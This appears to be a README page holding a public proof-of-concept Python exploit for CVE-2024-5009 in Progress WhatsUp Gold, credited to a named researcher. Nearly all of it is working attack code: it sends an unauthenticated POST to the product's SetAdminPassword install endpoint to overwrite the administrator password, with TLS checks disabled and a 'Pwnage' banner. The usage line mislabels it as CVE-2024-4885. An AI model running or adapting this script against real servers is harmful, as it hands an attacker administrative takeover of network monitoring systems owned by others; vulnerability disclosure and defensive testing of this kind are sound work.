README.md
Rendering markdown...
"""
Progress WhatsUp Gold SetAdminPassword Privilege Escalation (CVE-2024-5009)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/
"""
banner = r"""
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold SetAdminPassword Privilege Escalation (CVE-2024-5009)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-privesc-setadminpassword-cve-2024-5009/
"""
""""""
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse
import os
print(banner)
parser = argparse.ArgumentParser(usage="python CVE-2024-4885.py --target https://192.168.0.231")
parser.add_argument('--target', '-t', dest='target_url', help='Target URL (e.g: http://192.168.0.231:9642)', required=True)
parser.add_argument('--new-password', '-p', dest='new_password', help='new password for the administrator user', required=False)
args = parser.parse_args()
if(args.new_password):
new_password = args.new_password
else:
new_password = os.urandom(8).hex()
print("\n(^_^) Prepare for the Pwnage (^_^)\n")
print("(*) Generated random password is: " + new_password)
args.target_url = args.target_url.rstrip("/")
def exploit():
print("(*) Escalating...")
r = requests.post(args.target_url + "/NmConsole/Wug/Install/SetAdminPassword", data={"Password": new_password, "ConfirmPassword":new_password}, verify=False, allow_redirects=False)
if(r.status_code == 302):
print("(+) Escalation done, new admin password is: " + new_password)
else:
print("(-) Failed to change the password")
print("(-) Response: " + r.text)
try:
exploit()
except Exception as e:
print("(-) An error occurred: " + str(e))
exit(1)